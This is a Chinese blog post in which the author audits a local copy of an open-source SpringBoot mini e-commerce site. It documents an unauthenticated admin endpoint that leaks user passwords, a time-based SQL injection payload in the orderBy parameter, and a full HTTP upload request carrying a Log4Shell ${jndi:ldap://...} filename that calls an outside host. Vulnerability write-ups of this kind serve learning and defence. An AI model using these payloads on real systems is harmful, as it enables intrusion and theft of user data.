JAVA代审—某迷你天猫商城

2025-03-22 33 0

迷你天猫商城是一个基于SpringBoot框架的综合性B2C电商平台,需求设计主要参考天猫商城的购物流程:用户从注册开始,到完成登录,浏览商品,加入购物车,进行下单,支付,确认收货,评价等一系列操作。 作为模拟天猫商城系统的核心组成部分之一,采用Springboot框架的天猫数据管理后台包含商品管理,订单管理,类别管理,用户管理和交易额统计等模块,实现了对整个商城的一站式管理和维护。

部署

环境:

jdk1.8

mysql5.7

(第一次审计java项目,还在学习中)

项目使用IntelliJ IDEA开发,请使用IntelliJ IDEA的版本控制检出功能,https://gitee.com/zwp1341710922/e-commerce-management-system.git,需要先建立数据库tmalldemodb,然后导入sql文件。

等待依赖安装完毕后,运行项目。

访问地址:http://localhost:8082/tmall/admin/login(账户名和密码在admin表里)

(登录如果报错的话需要调整一下mysql的配置,临时禁用ONLY_FULL_GROUP_BY模式)

SET GLOBAL sql_mode = (SELECT REPLACE(@@sql_mode, 'ONLY_FULL_GROUP_BY', ''));

然后正常登录后台

JAVA代审—某迷你天猫商城插图

部署完成

-------------------------------------------------------分割线------------------------------------------------

开始审计

未授权*1

因为项目采用了mybitis框架开发,我就直接搜索order by,like关键字,这种地方可能没有采用预编译。

来到com/xq/tmall/controller/admin/UserController.java文件下。

JAVA代审—某迷你天猫商城插图1

直接拼接路径/tmall/admin/user会提示未登录,跳转到登录界面

JAVA代审—某迷你天猫商城插图2

跟上完整参数/tmall/admin/user/1/10,神奇的返回了数据

admin/user/{index}/{count}

JAVA代审—某迷你天猫商城插图3

包含用户密码,未授权一枚~

看看为什么这个地方可以直接访问

其他方法都使用了以下鉴权

logger.info("检查管理员权限");
Object adminId = checkAdmin(session);

JAVA代审—某迷你天猫商城插图4

再看目标方法,没有该鉴权部分???不知道开发者怎么想的

sql注入*1

不要忘记我们原本是要找sql注入的漏洞

http://localhost:8082/tmall/admin/user/1/10?orderBy=1

数据库执行的是

SELECT user_id,user_name,user_nickname,user_password,user_realname,user_gender,user_birthday,user_profile_picture_src,user_address,user_homeplace FROM user ORDER BY 1 desc LIMIT 10,10

JAVA代审—某迷你天猫商城插图5

当我输入/tmall/admin/user/1/10?orderBy=IF(1=1,+sleep(1),+1)--+时,延迟了近21秒。sleep(3)延迟了60多秒。。。。。。

JAVA代审—某迷你天猫商城插图6

让我们来到dao层看看代码

UserMapper.java文件声明了数据操作方法(如selectinsertOne),定义方法签名参数结构

UserMapper.xml通过<select><insert>等标签编写具体SQL,通过namespace绑定到接口,是具体的实现。

<mapper namespace="com.xq.tmall.dao.UserMapper">

绑定XML到指定Mapper接口(com.xq.tmall.dao.UserMapper)。

可以看到使用的是${},存在sql注入

JAVA代审—某迷你天猫商城插图7

先看看框架漏洞吧

-----------------------------------------------------------------------------------------------------------------------

框架漏洞

我们来一个个看

JAVA代审—某迷你天猫商城插图8

log4j

因为使用了2.10.0版本的log4j,可能存在CVE-2021-44228,CVE-2021-45046漏洞

JAVA代审—某迷你天猫商城插图9

接下来去代码里搜索 logger. 寻找可能触发的地方

JAVA代审—某迷你天猫商城插图10

上传图片处调用了

logger.info("获取图片原始文件名:{}", originalFileName);

此处存在漏洞,并且无需登录即可触发。

POST /tmall/user/uploadUserHeadImage HTTP/1.1

Host: localhost:8082

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------171182472826653739854099729287

Sec-GPC: 1

Accept: application/json, text/javascript, */*; q=0.01

Origin: http://localhost:8082

Referer: http://localhost:8082/tmall/userDetails

DNT: 1

X-Requested-With: XMLHttpRequest

Content-Length: 39954

-----------------------------171182472826653739854099729287

Content-Disposition: form-data; name="file"; filename="${jndi:ldap://aaqcbsawpd.zaza.eu.org}"

Content-Type: image/jpeg

123

JAVA代审—某迷你天猫商城插图11

FastJason

全文查找JSON.parse()JSON.parseObject()这两个

就先写到这吧。。。不知道为什么maven下载的依赖和pom文件里的依赖版本对不上

JAVA代审—某迷你天猫商城插图12


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

大模型安全警报:你的AI客服正在泄露客户银行卡号
HTB-Devvortex-WriteUp
WEB漏洞——越权
新型SectopRAT木马利用Cloudflare验证系统攻击Windows用户
医疗行业网络安全现状令人担忧
2025年全球网络安全支出预计增长12.2%

发布评论